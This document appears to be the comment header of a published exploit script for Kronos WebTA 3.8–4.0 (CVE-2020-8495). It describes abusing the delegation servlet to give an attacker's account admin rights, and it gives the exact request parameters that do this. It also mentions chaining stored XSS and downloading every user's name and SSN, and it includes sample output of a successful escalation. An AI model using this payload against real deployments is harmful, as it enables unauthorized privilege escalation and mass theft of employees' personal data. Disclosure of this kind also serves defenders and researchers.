#  Exploit Title: Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation
#  Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Discovery date: 2019-09-20
#  Vendor Homepage: https://www.kronos.com/products/kronos-webta
#  Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
#  Tested on: Linux
#  CVE: (Remote Privesc) CVE-2020-8495 | (Stored XSS) CVE-2020-8493
#  Usage: python3 exploit.py http://target

#!/bin/bash/python3

###
# *Exploit requires credentials with Timekeeper or Supervisor privileges
#
# Exploit abuses delegation privs present in the WebTA "/servlet/com.threeis.webta.H491delegate"
# servlet. By specifying the "delegate" and "delegatorUserId" parameter an attacker can use an
# admin user id to delegate role 5 (aka admin privs) to any other known user id, including oneself.
#
# selFunc=add&selRow=&delegate=<ATTACKER>&delegateRole=5&delegatorEmpId=1234&delegatorUserId=<ADMIN>
#
# With our new admin account, we can abuse a stored XSS vulnerability present in the login page,
# banner (displayed on every page) & password reset page. We can also pull system information and
# download a file containing the FULL NAME AND SSN OF EVERY USER in the database (typically thousands).
#
#
# Below is an example of the exploit output:
#####
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper
#
# [+] Available Admin Accounts:
# MOTOKO
# BATOU
# TOGUSA
# ISHIKAWA
#
# [-] Attempting to use account 'MOTOKO' to delegate Admin privs to 'TESTER'...
#
# [+] 'TESTER' successfully elevated to Admin privs :)
#
#
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper, Admin
#
# [+] Webta Version Information
# Site parameter: company
# Licensed modules:WEBTA-LEAVE, WEBTA, WEBTA
# webTA Servlet Version: 3.8.6.79029
# webTA Database Version: 3.8.6.79029
# App Server OS: Linux version 3.10.0-1062.1.1.el7.x86_64 (amd64)
